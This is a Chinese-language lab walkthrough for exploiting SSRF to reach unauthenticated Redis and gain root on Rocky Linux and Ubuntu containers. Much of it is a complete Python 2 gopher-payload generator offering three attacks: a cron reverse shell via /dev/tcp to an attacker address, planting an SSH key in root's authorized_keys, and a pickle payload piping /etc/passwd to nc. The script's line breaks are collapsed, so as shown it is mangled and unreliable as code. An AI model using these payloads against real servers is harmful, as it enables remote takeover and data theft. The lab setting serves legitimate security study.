目錄
漏洞介紹
SSRF
Redis未授權
利用原理
環境搭建
利用過程
rockylinux
cron計劃任務反彈shell
寫公鑰+免密登錄
ubuntu
寫公鑰+免密登錄
漏洞介紹
SSRF
SSRF(server side request forgrey)服務端請求偽造,因后端未過濾用戶輸入,導致攻擊者可以利用服務器向由攻擊者輸入的任意地址發起HTTP請求。攻擊者可以對內網脆弱組件,redis,php-fpm發起攻擊,獲取服務器權限
Redis未授權
Redis在低版本中未強制設置密碼,攻擊者可以無需任何權限訪問redis,若redis未降權運行,可獲取服務器root權限
利用原理
原理即為攻擊者通過SSRF訪問內網或本地的redis6379端口,如果剛好存在redis未授權,即可getshell
環境搭建
原來的靶場環境Web-Hacking-Lab因為centos的停止維護用不了了,我改成了rockylinux8的鏡像,類似centos操作系統
注意:我是在外網的公網服務器上搭建的,不保證國內可以搭建成功,師傅們自行修改docker文件
鏈接:https://pan.baidu.com/s/1-ebmTKaWGu3qeat5fK1iOw?pwd=cate?
提取碼:cate
利用過程
rockylinux
訪問http://ip:2222
嘗試file讀取文件,成功讀取,說明存在ssrf漏洞
嘗試訪問本地6379端口,發現redis報錯,說明存在redis組件
cron計劃任務反彈shell
#!/usr/bin/python2
from __future__ import print_functionimport os
import sys
import base64
import urllib
import pickle
import subprocessdef generate_resp(command):res = ""if isinstance(command, list):passelse:command = command.split(" ")res += "*{}\n".format(len(command))for cmd in command:res += "${}\n".format(len(cmd))res += "{}\n".format(cmd)return resdef get_public_ip():try:return subprocess.check_output(["curl","-s","ident.me"])except:return Nonedef generate_gopher(payload):final_payload = "gopher://127.0.0.1:6379/_{}".format(urllib.quote(payload))return final_payloaddef ssh_key_write(ssh_dir="/root/.ssh"):res = ""pubkey_path = "/root/.ssh/id_rsa.pub"if(not os.path.exists(pubkey_path)):print("Please Run : ssh-keygen -t rsa")exit(1)pubkey = "\n\n" + open(pubkey_path,"r").read()res += generate_resp('flushall')# res += generate_resp('set 1 {}'.format(pubkey))res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))res += generate_resp('config set dir {}'.format(ssh_dir))res += generate_resp('config set dbfilename authorized_keys')res += generate_resp('save')res += generate_resp('quit')res = res.replace("A" * len(pubkey),pubkey)res = res.replace("\n","\r\n")print(generate_gopher(res))print("")print("")print("====================================================")print("After payload executed, try ssh root@server_hostname")print("====================================================")def cron_write(ip, port=8080, os_type="centos"):if os_type == "centos":crontab_path = "/var/spool/cron/"else:crontab_path = "/var/spool/cron/crontabs"cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)res = ""res += generate_resp('flushall')res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))res += generate_resp('config set dir {}'.format(crontab_path))res += generate_resp('config set dbfilename root')res += generate_resp('save')res += generate_resp('quit')res = res.replace("\n","\r\n")res = res.replace("A" * len(cron_command), cron_command)print(generate_gopher(res))class PickleExploit(object):def __reduce__(self):ip = "127.0.0.1"port = "9091"cmd = 'cat /etc/passwd | nc {} {}'.format(ip, port)return (os.system, (cmd,))def pickle_payload(key):res = ""payload = pickle.dumps(PickleExploit())res += "\r\n"res += generate_resp("set {} {}".format(key, base64.b64encode(payload)))res = res.replace("\n", "\r\n")print(generate_gopher(res).replace("gopher","http"))if len(sys.argv) < 2:print("cron or ssh or pickle")sys.exit(0)if sys.argv[1] == "cron":ip = raw_input("Reverse IP > ") or get_public_ip() or "127.0.0.1"port = raw_input("Port > ") or "8080"os_type = raw_input("Centos/Ubuntu (Default Centos)") or "centos"cron_write(ip=ip,port=port)if sys.argv[1] == "ssh":ssh_key_write()if sys.argv[1] == "pickle":key = raw_input("Key name > ")pickle_payload(key)
利用python腳本生成payload,注意是python2
抓包發送payload,(這里因為是post數據流,可以urlencode,也可以不用)
可以看到redis返回ok
等待一分鐘左右,成功反彈root權限
進容器,可以看到任務計劃中成功寫入反彈shell腳本
寫公鑰+免密登錄
同樣利用python腳本生成payload
ssh-keygen生成密鑰
抓包發送payload,可以看到redis返回ok
注意這里不要urlencode編碼,否則會出現下面這種情況
然后直接ssh登錄,成功登錄,注意這里的 -p 10025,因為是容器的22端口映射到服務器上的10025端口
進容器查看.ssh目錄,發現的確寫入了公鑰
ubuntu
寫公鑰+免密登錄
探測6379端口是否存在,發現redis返回報錯信息
同樣python生成payload
但是在發送時卻遇到了問題
為此我在容器里redis-cli連接redis,直接寫入,看看是否是redis的問題
果不其然,是redis的問題
那為什么rockylinux沒有問題?
我查看了Dockerfile文件,發現rockylinux使用的是5.0.5的redis版本
而ubuntu用的則是穩定版本
之后想起來redis有一個保護模式,我嘗試改成no,然后重啟redis,仍然不行
查找其他博主的博客。嘗試這兩個命令,仍然不行
config set protected-mode no
config set slave-read-only no
發現可能是版本太高,換個版本試試
換成6.2.9后直接設置成功,沒有報錯
再試試高一點的 7.2.1版本,發現也還是不行
說明redis在7.x版本中意識到了redis未授權對服務器的危害,不允許用戶再自定義被保護的配置路徑
想要在7.x版本中復現,可以修改redis配置文件的配置,將下面的配置改為yes
再次發送payload
成功登錄